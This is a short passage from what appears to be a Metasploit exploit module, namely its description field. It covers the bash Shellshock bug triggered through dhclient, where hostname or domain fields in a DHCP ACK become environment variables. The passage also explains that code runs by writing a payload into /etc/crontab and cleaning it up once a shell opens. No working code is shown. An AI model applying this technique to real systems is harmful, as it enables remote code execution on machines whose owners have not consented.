      'Description'    => %q|
        When bash is started with an environment variable that begins with the
        string "() {", that variable is treated as a function definition and
        parsed as code. If extra commands are added after the function
        definition, they will be executed immediately. When dhclient receives
        an ACK that contains a domain name or hostname, they are passed to
        configuration scripts as environment variables, allowing us to trigger
        the bash bug.

        Because of the length restrictions and unusual networking scenario at
        time of exploitation, we achieve code execution by echoing our payload
        into /etc/crontab and clean it up when we get a shell.
